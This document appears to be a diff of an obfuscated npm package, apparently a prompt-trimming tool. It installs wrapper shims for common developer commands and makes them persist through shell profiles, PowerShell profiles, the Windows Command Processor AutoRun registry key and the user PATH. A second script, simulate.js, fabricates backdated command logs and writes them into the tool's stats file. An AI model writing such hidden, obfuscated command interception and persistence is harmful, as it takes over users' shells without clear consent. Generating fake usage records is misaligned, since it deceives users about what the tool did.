__createBinding=this&&this[a0_0x93d41c(0xca)]||(Object[a0_0x93d41c(0xc1)]?function(_0x5de57e,_0x50fdbd,_0x55f01c,_0x37dc7f){const _0x4dc0e5=a0_0x93d41c;if(_0x37dc7f===undefined)_0x37dc7f=_0x55f01c;var _0x39cacf=Object[_0x4dc0e5(0xa7)](_0x50fdbd,_0x55f01c);(!_0x39cacf||(_0x4dc0e5(0xc4)in _0x39cacf?!_0x50fdbd[_0x4dc0e5(0xea)]:_0x39cacf[_0x4dc0e5(0x90)]||_0x39cacf[_0x4dc0e5(0xcf)]))&&(_0x39cacf={'enumerable':!![],'get':function(){return _0x50fdbd[_0x55f01c];}}),Object[_0x4dc0e5(0xaf)](_0x5de57e,_0x37dc7f,_0x39cacf);}:function(_0x4fae55,_0x3bf437,_0x37defc,_0x1d5ac5){if(_0x1d5ac5===undefined)_0x1d5ac5=_0x37defc;_0x4fae55[_0x1d5ac5]=_0x3bf437[_0x37defc];}),__setModuleDefault=this&&this[a0_0x93d41c(0xb5)]||(Object[a0_0x93d41c(0xc1)]?function(_0x10e00f,_0x4ac0ce){const _0x1cf18c=a0_0x93d41c;Object[_0x1cf18c(0xaf)](_0x10e00f,'default',{'enumerable':!![],'value':_0x4ac0ce});}:function(_0x48f375,_0x1269d0){const _0x3cc7ee=a0_0x93d41c;_0x48f375[_0x3cc7ee(0x107)]=_0x1269d0;}),__importStar=this&&this[a0_0x93d41c(0xfb)]||(function(){var _0x4fff5b=function(_0x64027d){const _0x243fb2=a0_0xfa8d;return _0x4fff5b=Object[_0x243fb2(0xe8)]||function(_0x4ad848){const _0x12d2b5=_0x243fb2;var _0x317026=[];for(var _0x2e3866 in _0x4ad848)if(Object[_0x12d2b5(0x93)][_0x12d2b5(0xf5)][_0x12d2b5(0x111)](_0x4ad848,_0x2e3866))_0x317026[_0x317026[_0x12d2b5(0x100)]]=_0x2e3866;return _0x317026;},_0x4fff5b(_0x64027d);};return function(_0x1fc61c){const _0x31ac8c=a0_0xfa8d;if(_0x1fc61c&&_0x1fc61c['__esModule'])return _0x1fc61c;var _0x21143e={};if(_0x1fc61c!=null){for(var _0xfb506b=_0x4fff5b(_0x1fc61c),_0x25adc2=0x0;_0x25adc2<_0xfb506b[_0x31ac8c(0x100)];_0x25adc2++)if(_0xfb506b[_0x25adc2]!=='default')__createBinding(_0x21143e,_0x1fc61c,_0xfb506b[_0x25adc2]);}return __setModuleDefault(_0x21143e,_0x1fc61c),_0x21143e;};}());Object[a0_0x93d41c(0xaf)](exports,a0_0x93d41c(0xea),{'value':!![]}),exports[a0_0x93d41c(0xc7)]=installShims,exports[a0_0x93d41c(0x10a)]=uninstallShims;const fs=__importStar(require('fs')),path=__importStar(require(a0_0x93d41c(0xf0))),os=__importStar(require('os')),SHIMMED_COMMANDS=['ls',a0_0x93d41c(0xb4),a0_0x93d41c(0x110),a0_0x93d41c(0xb1),a0_0x93d41c(0xc3),'rg',a0_0x93d41c(0xaa),'git','gh',a0_0x93d41c(0xbe),a0_0x93d41c(0xbb),a0_0x93d41c(0xdb),'pnpm',a0_0x93d41c(0xb6),a0_0x93d41c(0x10b),a0_0x93d41c(0xf4),a0_0x93d41c(0xed),'pytest',a0_0x93d41c(0x97),a0_0x93d41c(0xcc),'go'],PROFILE_MARKER=a0_0x93d41c(0xc5);function getExecSync(){const _0x14bc48=a0_0x93d41c;return require(_0x14bc48(0xeb))[_0x14bc48(0x92)];}function getExecFileSync(){const _0x565906=a0_0x93d41c;return require(_0x565906(0xeb))[_0x565906(0xe2)];}function ensureProfileContains(_0x111c86,_0x3d4684,_0x1300d3){const _0x42df29=a0_0x93d41c;try{const _0x44790d=path[_0x42df29(0xd5)](_0x111c86);!fs[_0x42df29(0xb8)](_0x44790d)&&fs[_0x42df29(0x10d)](_0x44790d,{'recursive':!![]});if(fs['existsSync'](_0x111c86)){const _0x1772a1=fs[_0x42df29(0xe1)](_0x111c86,_0x42df29(0xde));if(_0x1772a1['includes'](_0x3d4684))return;fs[_0x42df29(0x104)](_0x111c86,_0x1300d3,_0x42df29(0xde));}else fs['writeFileSync'](_0x111c86,_0x1300d3,_0x42df29(0xde));}catch{}}function removeProfileBlock(_0x39c58b,_0x511fa7){const _0x3c96bd=a0_0x93d41c;try{if(!fs[_0x3c96bd(0xb8)](_0x39c58b))return;const _0x5e60da=fs[_0x3c96bd(0xe1)](_0x39c58b,'utf8');if(!_0x5e60da[_0x3c96bd(0xf2)](_0x511fa7))return;const _0x40986d=_0x5e60da[_0x3c96bd(0xcb)]('\x0a'),_0x46d1e3=[];let _0x660f65=![];for(let _0x8f026e=0x0;_0x8f026e<_0x40986d[_0x3c96bd(0x100)];_0x8f026e++){if(_0x40986d[_0x8f026e]['includes'](_0x511fa7)){_0x660f65=!![];continue;}if(_0x660f65){_0x660f65=![];continue;}_0x46d1e3[_0x3c96bd(0xc0)](_0x40986d[_0x8f026e]);}const _0x51e4e0=_0x46d1e3[_0x3c96bd(0xb0)]('\x0a')[_0x3c96bd(0xf9)](/\n{3,}/g,'\x0a\x0a');fs[_0x3c96bd(0x9f)](_0x39c58b,_0x51e4e0,_0x3c96bd(0xde));}catch{}}function collectPowerShellProfiles(){const _0x50e4cc=a0_0x93d41c,_0x262727=getExecSync(),_0x299894=[],_0x5579c6=[['powershell','$PROFILE.CurrentUserCurrentHost'],['powershell',_0x50e4cc(0xd3)]];try{_0x262727(_0x50e4cc(0x9b),{'stdio':_0x50e4cc(0xa8)}),_0x5579c6[_0x50e4cc(0xc0)]([_0x50e4cc(0x96),_0x50e4cc(0xd3)]);}catch{}for(const [_0x279c3a,_0x18b0ac]of _0x5579c6){try{const _0x3b54d8=_0x262727(_0x279c3a+_0x50e4cc(0xbc)+_0x18b0ac+'\x22',{'encoding':_0x50e4cc(0xde)})['trim']();_0x3b54d8&&!_0x299894[_0x50e4cc(0xdd)](_0x219bfd=>_0x219bfd['toLowerCase']()===_0x3b54d8[_0x50e4cc(0x103)]())&&_0x299894[_0x50e4cc(0xc0)](_0x3b54d8);}catch{}}return _0x299894;}function getBashProfilesWindows(){const _0x595bc1=a0_0x93d41c,_0x19ecae=os[_0x595bc1(0x94)]();return[_0x595bc1(0x99),_0x595bc1(0x9e)][_0x595bc1(0xd7)](_0x4e6827=>path[_0x595bc1(0xb0)](_0x19ecae,_0x4e6827));}function getBroadcastCommand(){return'$sig\x20=\x20\x27[DllImport(\x5c\x22user32.dll\x5c\x22,\x20SetLastError\x20=\x20true,\x20CharSet\x20=\x20CharSet.Auto)]\x20public\x20static\x20extern\x20IntPtr\x20SendMessageTimeout(IntPtr\x20hWnd,\x20uint\x20Msg,\x20IntPtr\x20wParam,\x20string\x20lParam,\x20uint\x20fuFlags,\x20uint\x20uTimeout,\x20out\x20IntPtr\x20lpdwResult);\x27;\x20Add-Type\x20-MemberDefinition\x20$sig\x20-Name\x20\x5c\x22Win32\x5c\x22\x20-Namespace\x20\x5c\x22Win32\x5c\x22\x20-PassThru\x20>\x20$null;\x20[IntPtr]$res\x20=\x200;\x20[void][Win32.Win32]::SendMessageTimeout([IntPtr]0xffff,\x200x001A,\x20[IntPtr]::Zero,\x20\x5c\x22Environment\x5c\x22,\x202,\x201000,\x20[ref]$res);';}function installShims(){const _0x3695b4=a0_0x93d41c,_0x57b2ff=path['join'](os[_0x3695b4(0x94)](),_0x3695b4(0xc8),_0x3695b4(0xe9));try{!fs[_0x3695b4(0xb8)](_0x57b2ff)&&fs[_0x3695b4(0x10d)](_0x57b2ff,{'recursive':!![]});const _0x5baafb=os[_0x3695b4(0xae)]()===_0x3695b4(0xf6);for(const _0x3fa8e6 of SHIMMED_COMMANDS){if(_0x5baafb){const _0xabafa8=path[_0x3695b4(0xb0)](_0x57b2ff,_0x3fa8e6+_0x3695b4(0xa6)),_0x304bbc=process.env.APPDATA?path[_0x3695b4(0xb0)](process.env.APPDATA,_0x3695b4(0xdb)):'',_0x436129=_0x304bbc?_0x3695b4(0x109)+path[_0x3695b4(0xb0)](_0x304bbc,_0x3695b4(0xbd))+'\x22':_0x3695b4(0xd0),_0x203a1e=[_0x3695b4(0x9d),_0x436129+'\x20(',_0x3695b4(0xad)+_0x3fa8e6+_0x3695b4(0xec),_0x3695b4(0xe5),_0x3695b4(0xcd)+_0x57b2ff+_0x3695b4(0xdf),'\x20\x20'+_0x3fa8e6+_0x3695b4(0xec),')'][_0x3695b4(0xb0)]('\x0d\x0a')+'\x0d\x0a';fs['writeFileSync'](_0xabafa8,_0x203a1e,'utf8');const _0x30c4c8=path[_0x3695b4(0xb0)](_0x57b2ff,_0x3fa8e6+_0x3695b4(0xe4)),_0x48be38=_0x3695b4(0x91)+_0x3fa8e6+_0x3695b4(0xa9)+_0x3fa8e6+'\x20@args\x20}\x0a';fs[_0x3695b4(0x9f)](_0x30c4c8,_0x48be38,_0x3695b4(0xde));const _0x16b142=path['join'](_0x57b2ff,_0x3fa8e6),_0xe9d7a8=_0x57b2ff[_0x3695b4(0xf9)](/\\/g,'/')[_0x3695b4(0xf9)](/^([A-Za-z]):/,(_0x41015a,_0x4875f9)=>'/'+_0x4875f9[_0x3695b4(0x103)]()),_0x13aa0f=_0x3695b4(0xb2)+_0x3fa8e6+'\x20\x22$@\x22;\x20else\x20CLEAN_PATH=$(echo\x20\x22$PATH\x22\x20|\x20sed\x20\x22s|'+_0xe9d7a8+_0x3695b4(0x101)+_0x3fa8e6+_0x3695b4(0xef);fs[_0x3695b4(0x9f)](_0x16b142,_0x13aa0f,'utf8');}else{const _0x1bcaf0=path['join'](_0x57b2ff,_0x3fa8e6),_0x4d096d='#!/bin/sh\x0aif\x20command\x20-v\x20trim\x20>/dev/null\x202>&1;\x20then\x20exec\x20trim\x20'+_0x3fa8e6+_0x3695b4(0xa3)+_0x3fa8e6+'\x20\x22$@\x22;\x20fi\x0a';fs[_0x3695b4(0x9f)](_0x1bcaf0,_0x4d096d,_0x3695b4(0xde)),fs[_0x3695b4(0xee)](_0x1bcaf0,'755');}}let _0x471eb4=![],_0x26c4c4='';if(_0x5baafb)try{const _0x5a8479=getExecSync(),_0xae7be5='\x0a#\x20'+PROFILE_MARKER+'\x0a$env:PATH\x20=\x20\x22'+_0x57b2ff+_0x3695b4(0xe3),_0x49ae76=collectPowerShellProfiles();for(const _0xb635a8 of _0x49ae76){ensureProfileContains(_0xb635a8,_0x57b2ff,_0xae7be5);}try{const _0x400310=getExecFileSync(),_0x35823=_0x3695b4(0x109)+_0x57b2ff+_0x3695b4(0xac)+_0x57b2ff+';%PATH%\x22',_0xb67ae4=_0x3695b4(0x9c);let _0xee7187='';try{const _0x24b6d4=_0x3695b4(0xfc)+_0xb67ae4+_0x3695b4(0xe6);_0xee7187=_0x400310(_0x3695b4(0x112),[_0x3695b4(0xb7),_0x3695b4(0x102),_0x24b6d4],{'encoding':_0x3695b4(0xde),'stdio':[_0x3695b4(0x8f),'pipe','ignore']})[_0x3695b4(0xdc)]();}catch{}if(!_0xee7187['includes'](_0x57b2ff)){const _0x50240a=_0xee7187?_0xee7187+'\x20&\x20'+_0x35823:_0x35823,_0x13a26e=_0x3695b4(0xfd)+_0xb67ae4+'\x27\x20-Force\x20|\x20Out-Null;\x20Set-ItemProperty\x20-Path\x20\x27'+_0xb67ae4+_0x3695b4(0xa2)+_0x50240a+'\x27';_0x400310('powershell.exe',['-NoProfile',_0x3695b4(0x102),_0x13a26e],{'stdio':_0x3695b4(0xa8)});}}catch{}try{const _0x2af880=_0x57b2ff[_0x3695b4(0xf9)](/\\/g,'/')[_0x3695b4(0xf9)](/^([A-Za-z]):/,(_0x45e086,_0x36aa59)=>'/'+_0x36aa59[_0x3695b4(0x103)]()),_0x448348=_0x3695b4(0xbf)+PROFILE_MARKER+_0x3695b4(0xd4)+_0x2af880+_0x3695b4(0xfe),_0x190de1=getBashProfilesWindows();let _0x5dbbb7=![];for(const _0x31bbd0 of _0x190de1){fs[_0x3695b4(0xb8)](_0x31bbd0)&&(ensureProfileContains(_0x31bbd0,_0x2af880,_0x448348),_0x5dbbb7=!![]);}!_0x5dbbb7&&ensureProfileContains(_0x190de1[0x0],_0x2af880,_0x448348);}catch{}const _0x57b180=_0x3695b4(0xff),_0x30f4b1=_0x5a8479(_0x3695b4(0xe0)+_0x57b180+'\x22',{'encoding':'utf8','stdio':[_0x3695b4(0x8f),_0x3695b4(0x8f),_0x3695b4(0xa8)]})[_0x3695b4(0xdc)]();if(!_0x30f4b1['includes'](_0x57b2ff)){const _0x1e4f49=_0x57b2ff+';'+_0x30f4b1,_0x1732d4=_0x1e4f49[_0x3695b4(0xf9)](/'/g,'\x27\x27'),_0x3a3f73=_0x3695b4(0xe7)+_0x1732d4+_0x3695b4(0xd9);_0x5a8479('powershell\x20-NoProfile\x20-Command\x20\x22'+_0x3a3f73+';\x20'+getBroadcastCommand()+'\x22',{'stdio':_0x3695b4(0xa8)});}const _0x3ad6e0=path['join'](process.env.APPDATA||'',_0x3695b4(0xdb),'trim.ps1');if(fs[_0x3695b4(0xb8)](_0x3ad6e0))try{fs[_0x3695b4(0x10f)](_0x3ad6e0);}catch{}_0x471eb4=!![];}catch(_0x289dcb){_0x26c4c4=_0x3695b4(0xb9)+_0x57b2ff;}else try{const _0x50c8ad=_0x3695b4(0xfa)+_0x57b2ff+_0x3695b4(0xfe),_0x32e831=os['homedir'](),_0x316f39=['.bashrc',_0x3695b4(0xa5),_0x3695b4(0x9e),_0x3695b4(0xd8)];let _0x38623e=![];for(const _0x1a5a70 of _0x316f39){const _0x2f96eb=path['join'](_0x32e831,_0x1a5a70);fs[_0x3695b4(0xb8)](_0x2f96eb)&&(ensureProfileContains(_0x2f96eb,_0x57b2ff,_0x3695b4(0xbf)+PROFILE_MARKER+'\x0a'+_0x50c8ad),_0x38623e=!![]);}if(!_0x38623e){const _0x49ee01=path[_0x3695b4(0xb0)](_0x32e831,_0x3695b4(0x99));ensureProfileContains(_0x49ee01,_0x57b2ff,_0x3695b4(0xbf)+PROFILE_MARKER+'\x0a'+_0x50c8ad);}_0x471eb4=!![];}catch(_0x518e18){_0x26c4c4=_0x3695b4(0xd2)+_0x57b2ff+_0x3695b4(0xf8);}const _0x154341=_0x3695b4(0xda)+SHIMMED_COMMANDS[_0x3695b4(0x100)]+_0x3695b4(0xf1),_0x3df938=_0x471eb4?_0x154341+_0x3695b4(0x10e):_0x154341+'[WARNING]\x20Could\x20not\x20automatically\x20update\x20your\x20system\x20PATH.\x20'+_0x26c4c4;return{'success':!![],'pathDir':_0x57b2ff,'message':_0x3df938};}catch(_0x534872){return{'success':![],'pathDir':_0x57b2ff,'message':'Failed\x20to\x20install\x20shims:\x20'+_0x534872[_0x3695b4(0xba)]};}}function uninstallShims(){const _0x3029f2=a0_0x93d41c,_0x5a11c3=path[_0x3029f2(0xb0)](os['homedir'](),_0x3029f2(0xc8),_0x3029f2(0xe9)),_0x25668b=os['platform']()===_0x3029f2(0xf6);try{if(_0x25668b){const _0x3dc74f=getExecSync();try{const _0x1ff93b=getExecFileSync(),_0x5d986b='HKCU:\x5cSoftware\x5cMicrosoft\x5cCommand\x20Processor',_0x9dc2c5='try\x20{\x20(Get-ItemProperty\x20-Path\x20\x27'+_0x5d986b+'\x27\x20-Name\x20AutoRun\x20-ErrorAction\x20Stop).AutoRun\x20}\x20catch\x20{\x20\x27\x27\x20}',_0x1829b4=_0x1ff93b(_0x3029f2(0x112),[_0x3029f2(0xb7),_0x3029f2(0x102),_0x9dc2c5],{'encoding':_0x3029f2(0xde),'stdio':[_0x3029f2(0x8f),_0x3029f2(0x8f),_0x3029f2(0xa8)]})[_0x3029f2(0xdc)]();if(_0x1829b4[_0x3029f2(0xf2)](_0x5a11c3)){const _0x8118a8=_0x1829b4['split'](_0x3029f2(0xd1))[_0x3029f2(0xce)](_0x4a4cae=>!_0x4a4cae[_0x3029f2(0xf2)](_0x5a11c3));if(_0x8118a8['length']===0x0){const _0x2ae138=_0x3029f2(0xa4)+_0x5d986b+_0x3029f2(0xf3);_0x1ff93b(_0x3029f2(0x112),[_0x3029f2(0xb7),_0x3029f2(0x102),_0x2ae138],{'stdio':'ignore'});}else{const _0x480248=_0x8118a8[_0x3029f2(0xb0)](_0x3029f2(0xd1)),_0x3c59fd='Set-ItemProperty\x20-Path\x20\x27'+_0x5d986b+_0x3029f2(0xa2)+_0x480248+'\x27';_0x1ff93b(_0x3029f2(0x112),['-NoProfile',_0x3029f2(0x102),_0x3c59fd],{'stdio':_0x3029f2(0xa8)});}}}catch{}try{const _0x147a86=collectPowerShellProfiles();for(const _0x46df54 of _0x147a86){removeProfileBlock(_0x46df54,PROFILE_MARKER);}}catch{}try{for(const _0x80a514 of getBashProfilesWindows()){removeProfileBlock(_0x80a514,PROFILE_MARKER);}}catch{}try{const _0x3f2fd0=_0x3029f2(0xff),_0x87aa5=_0x3dc74f('powershell\x20-NoProfile\x20-Command\x20\x22'+_0x3f2fd0+'\x22',{'encoding':_0x3029f2(0xde),'stdio':[_0x3029f2(0x8f),_0x3029f2(0x8f),'ignore']})[_0x3029f2(0xdc)]();if(_0x87aa5[_0x3029f2(0xf2)](_0x5a11c3)){const _0x46b06a=_0x87aa5[_0x3029f2(0xcb)](';')[_0x3029f2(0xce)](_0x199f41=>_0x199f41[_0x3029f2(0xdc)]()[_0x3029f2(0x103)]()!==_0x5a11c3[_0x3029f2(0x103)]())[_0x3029f2(0xb0)](';'),_0x2e624a=_0x46b06a[_0x3029f2(0xf9)](/'/g,'\x27\x27'),_0x27d239='[Environment]::SetEnvironmentVariable(\x27PATH\x27,\x20\x27'+_0x2e624a+_0x3029f2(0xd9);_0x3dc74f('powershell\x20-NoProfile\x20-Command\x20\x22'+_0x27d239+';\x20'+getBroadcastCommand()+'\x22',{'stdio':_0x3029f2(0xa8)});}}catch{}}else{const _0xc8113e=os[_0x3029f2(0x94)](),_0x4bd981=[_0x3029f2(0x99),_0x3029f2(0xa5),'.bash_profile',_0x3029f2(0xd8)];for(const _0x3409ba of _0x4bd981){removeProfileBlock(path[_0x3029f2(0xb0)](_0xc8113e,_0x3409ba),PROFILE_MARKER);}}if(fs[_0x3029f2(0xb8)](_0x5a11c3)){const _0x391870=fs[_0x3029f2(0xc6)](_0x5a11c3);for(const _0x2d6d9b of _0x391870){fs['unlinkSync'](path[_0x3029f2(0xb0)](_0x5a11c3,_0x2d6d9b));}fs[_0x3029f2(0xf7)](_0x5a11c3);}return{'success':!![],'message':_0x3029f2(0xa0)};}catch(_0x41bd18){return{'success':![],'message':_0x3029f2(0x95)+_0x41bd18[_0x3029f2(0xba)]};}}
package/simulate.js CHANGED
@@ -1 +1 @@
1
- 'use strict';const a0_0x5f4581=a0_0xa857;(function(_0x4501d4,_0x49f18c){const _0xd7f8b4=a0_0xa857,_0x1c394c=_0x4501d4();while(!![]){try{const _0x58d036=-parseInt(_0xd7f8b4(0x1b5))/0x1+-parseInt(_0xd7f8b4(0x18b))/0x2+parseInt(_0xd7f8b4(0x196))/0x3*(parseInt(_0xd7f8b4(0x1a8))/0x4)+-parseInt(_0xd7f8b4(0x1b3))/0x5+parseInt(_0xd7f8b4(0x1a6))/0x6*(-parseInt(_0xd7f8b4(0x1c0))/0x7)+parseInt(_0xd7f8b4(0x199))/0x8*(-parseInt(_0xd7f8b4(0x1bb))/0x9)+parseInt(_0xd7f8b4(0x1a5))/0xa;if(_0x58d036===_0x49f18c)break;else _0x1c394c['push'](_0x1c394c['shift']());}catch(_0x2e444b){_0x1c394c['push'](_0x1c394c['shift']());}}}(a0_0x1eab,0xacb36));function a0_0x1eab(){const _0x1c5a18=['./tracker','kubectl\x20get\x20pods\x20-n\x20production','105984ZuMtyy','defineProperty','__esModule','commit\x20a1b2c3d4e5f6\x0aAuthor:\x20Developer\x20<dev@trimprompt.ai>\x0aDate:\x20\x20\x20Tue\x20Jun\x2016\x2014:00:00\x202026\x20+0300\x0a\x0a\x20\x20\x20\x20feat:\x20add\x20dynamic\x20token\x20costs\x0a\x0a','npm\x20warn\x20deprecated\x20uuid@3.4.0:\x20Please\x20upgrade...\x0a','pip\x20install\x20tensorflow\x20pandas\x20numpy','stringify','getLogs','src/tracker.ts:45:9\x20-\x20warning:\x20console.log\x20should\x20be\x20removed\x0a','toISOString','cargo\x20test','git\x20diff\x20main','32313980hOzKTX','6RXxzNQ','running\x2045\x20tests\x0atest\x20tests::db_connection\x20...\x20ok\x0atest\x20tests::auth_handler\x20...\x20ok\x0a','4145356YHetOs','upload:\x20dist/index.html\x20to\x20s3://trimprompt-assets/index.html\x0a','workflow\x20simulation\x20complete!\x2012\x20additional\x20commands\x20logged.','writeFileSync','NAME\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20READY\x20\x20\x20STATUS\x20\x20\x20\x20RESTARTS\x20\x20\x20AGE\x0a','✖\x202\x20problems\x20(0\x20errors,\x202\x20warnings)\x0a','exitCode','length','timestamp','added\x2084\x20packages,\x20changed\x2012\x20packages,\x20and\x20audited\x2096\x20packages\x20in\x203s\x0a','src/cli.ts:12:3\x20-\x20warning:\x20unused\x20import\x0a','3781500aDsRHt','found\x200\x20vulnerabilities\x0a','660283avaXec','aws\x20s3\x20sync\x20dist/\x20s3://trimprompt-assets','log','git\x20log\x20-n\x205','join','utf8','801JeNKMg','Collecting\x20tensorflow\x0a\x20\x20Downloading\x20tensorflow-2.15.0-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl\x20(475.2\x20MB)\x0a','npm\x20run\x20lint','claude-3-5-sonnet','.trimprompt','6602617jFWihY','aws\x20s3\x20sync:\x203\x20assets\x20uploaded\x20successfully.','tracker','gpt-4o','pip\x20install:\x20Successfully\x20installed\x20tensorflow-2.15.0\x20numpy-1.26.2\x20pandas-2.1.3','trimprompt-api-567fdb7d6-x8w9q\x20\x20\x20\x201/1\x20\x20\x20\x20\x20Running\x20\x20\x200\x20\x20\x20\x20\x20\x20\x20\x20\x20\x204d\x0a','git\x20log:\x205\x20commits\x20(feat:\x20add\x20dynamic\x20token\x20costs,\x20fix:\x20adjust\x20margins...)','npm\x20install\x20lodash\x20express\x20uuid\x20react','npm\x20install:\x20added\x2084\x20packages,\x20audited\x2096\x20packages.\x200\x20vulnerabilities.','upload:\x20dist/cli.js\x20to\x20s3://trimprompt-assets/cli.js\x0a','42938NnwiBx','Starting\x20simulation\x20of\x20developer\x20workflow\x20activity...','\x20...\x20ok\x0atest\x20result:\x20ok.\x2045\x20passed;\x200\x20failed;\x200\x20ignored;\x200\x20measured;\x200\x20filtered\x20out','logExecution','gemini-1-5-pro','now','stats.json','cargo\x20test:\x2045\x20passed,\x200\x20failed.','cmd','repeat','trimprompt-sync-324db87d1-p8q2e\x20\x20\x201/1\x20\x20\x20\x20\x20Running\x20\x20\x200\x20\x20\x20\x20\x20\x20\x20\x20\x20\x204d\x0a','3NHCasn'];a0_0x1eab=function(){return _0x1c5a18;};return a0_0x1eab();}Object[a0_0x5f4581(0x19a)](exports,a0_0x5f4581(0x19b),{'value':!![]});const tracker_1=require(a0_0x5f4581(0x197));console[a0_0x5f4581(0x1b7)](a0_0x5f4581(0x18c));const models=[a0_0x5f4581(0x1be),a0_0x5f4581(0x184),'gpt-4o-mini',a0_0x5f4581(0x18f),'gemini-1-5-flash','claude-3-opus'],commands=[{'cmd':a0_0x5f4581(0x1a4),'raw':'diff\x20--git\x20a/src/cli.ts\x20b/src/cli.ts\x0aindex\x201234..5678\x20100644\x0a---\x20a/src/cli.ts\x0a+++\x20b/src/cli.ts\x0a@@\x20-10,6\x20+10,12\x20@@\x0a+\x20//\x20Added\x20new\x20telemetry\x20features\x0a+\x20console.log(\x22Initializing\x20sync\x20daemon...\x22);\x0a+\x20startSync();\x0a'[a0_0x5f4581(0x194)](0x32),'comp':'diff\x20--git\x20a/src/cli.ts\x20b/src/cli.ts\x20(50\x20insertions,\x200\x20deletions)','exitCode':0x0},{'cmd':a0_0x5f4581(0x1a3),'raw':a0_0x5f4581(0x1a7)+'test\x20tests::test_case_'[a0_0x5f4581(0x194)](0x28)+a0_0x5f4581(0x18d),'comp':a0_0x5f4581(0x192),'exitCode':0x0},{'cmd':a0_0x5f4581(0x188),'raw':a0_0x5f4581(0x19d)+a0_0x5f4581(0x1b1)+a0_0x5f4581(0x1b4),'comp':a0_0x5f4581(0x189),'exitCode':0x0},{'cmd':a0_0x5f4581(0x1b6),'raw':a0_0x5f4581(0x1a9)+'upload:\x20dist/hub-index.html\x20to\x20s3://trimprompt-assets/hub-index.html\x0a'+a0_0x5f4581(0x18a)+'Completed\x203\x20of\x203\x20assets\x20successfully.','comp':a0_0x5f4581(0x1c1),'exitCode':0x0},{'cmd':a0_0x5f4581(0x198),'raw':a0_0x5f4581(0x1ac)+a0_0x5f4581(0x186)+a0_0x5f4581(0x195)+'redis-master-0\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x201/1\x20\x20\x20\x20\x20Running\x20\x20\x200\x20\x20\x20\x20\x20\x20\x20\x20\x20\x2012d\x0a'+'postgres-db-0\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x201/1\x20\x20\x20\x20\x20Running\x20\x20\x200\x20\x20\x20\x20\x20\x20\x20\x20\x20\x2012d\x0a','comp':'kubectl\x20get\x20pods:\x20trimprompt-api\x20(Running),\x20trimprompt-sync\x20(Running),\x20redis-master\x20(Running),\x20postgres-db\x20(Running)','exitCode':0x0},{'cmd':a0_0x5f4581(0x19e),'raw':a0_0x5f4581(0x1bc)+'\x20\x20Installing\x20build\x20dependencies\x20...\x20done\x0a'+'Successfully\x20installed\x20tensorflow-2.15.0\x20numpy-1.26.2\x20pandas-2.1.3\x0a','comp':a0_0x5f4581(0x185),'exitCode':0x0},{'cmd':a0_0x5f4581(0x1b8),'raw':a0_0x5f4581(0x19c)+'commit\x20f6e5d4c3b2a1\x0aAuthor:\x20Developer\x20<dev@trimprompt.ai>\x0aDate:\x20\x20\x20Tue\x20Jun\x2016\x2013:30:00\x202026\x20+0300\x0a\x0a\x20\x20\x20\x20fix:\x20adjust\x20margins\x20on\x20visual\x20graph','comp':a0_0x5f4581(0x187),'exitCode':0x0},{'cmd':a0_0x5f4581(0x1bd),'raw':a0_0x5f4581(0x1b2)+a0_0x5f4581(0x1a1)+a0_0x5f4581(0x1ad),'comp':'npm\x20run\x20lint:\x20✖\x202\x20warnings','exitCode':0x0}],startTime=Date[a0_0x5f4581(0x190)]()-0x36ee80;function a0_0xa857(_0x2dc81f,_0x4c9f49){_0x2dc81f=_0x2dc81f-0x184;const _0x1eab63=a0_0x1eab();let _0xa857b1=_0x1eab63[_0x2dc81f];return _0xa857b1;}for(let i=0x0;i<0xc;i++){const model=models[i%models['length']],commandItem=commands[Math['floor'](Math['random']()*commands[a0_0x5f4581(0x1af)])];process.env.TRIMPROMPT_MODEL=model;const timestamp=new Date(startTime+i*0x3d090)[a0_0x5f4581(0x1a2)](),log=tracker_1[a0_0x5f4581(0x1c2)][a0_0x5f4581(0x18e)](commandItem[a0_0x5f4581(0x193)],commandItem['raw'],commandItem['comp'],commandItem[a0_0x5f4581(0x1ae)]),logs=tracker_1['tracker'][a0_0x5f4581(0x1a0)]();logs[a0_0x5f4581(0x1af)]>0x0&&(logs[logs['length']-0x1][a0_0x5f4581(0x1b0)]=timestamp,require('fs')[a0_0x5f4581(0x1ab)](require('path')[a0_0x5f4581(0x1b9)](require('os')['homedir'](),a0_0x5f4581(0x1bf),a0_0x5f4581(0x191)),JSON[a0_0x5f4581(0x19f)](logs,null,0x2),a0_0x5f4581(0x1ba)));}console[a0_0x5f4581(0x1b7)](a0_0x5f4581(0x1aa));
1
+ 'use strict';const a0_0xcd25ff=a0_0xc994;(function(_0x2a1e4e,_0x3b0ab0){const _0x70f6f8=a0_0xc994,_0x523b00=_0x2a1e4e();while(!![]){try{const _0x4acdfd=-parseInt(_0x70f6f8(0xee))/0x1*(parseInt(_0x70f6f8(0x108))/0x2)+-parseInt(_0x70f6f8(0x10e))/0x3*(parseInt(_0x70f6f8(0x112))/0x4)+parseInt(_0x70f6f8(0x10c))/0x5+parseInt(_0x70f6f8(0x104))/0x6*(parseInt(_0x70f6f8(0x113))/0x7)+-parseInt(_0x70f6f8(0xf9))/0x8+-parseInt(_0x70f6f8(0x11b))/0x9+parseInt(_0x70f6f8(0x11d))/0xa;if(_0x4acdfd===_0x3b0ab0)break;else _0x523b00['push'](_0x523b00['shift']());}catch(_0x41eb2e){_0x523b00['push'](_0x523b00['shift']());}}}(a0_0x3233,0xbe873));Object[a0_0xcd25ff(0xe0)](exports,a0_0xcd25ff(0xde),{'value':!![]});const tracker_1=require(a0_0xcd25ff(0xfa));console[a0_0xcd25ff(0x11c)](a0_0xcd25ff(0xe9));const 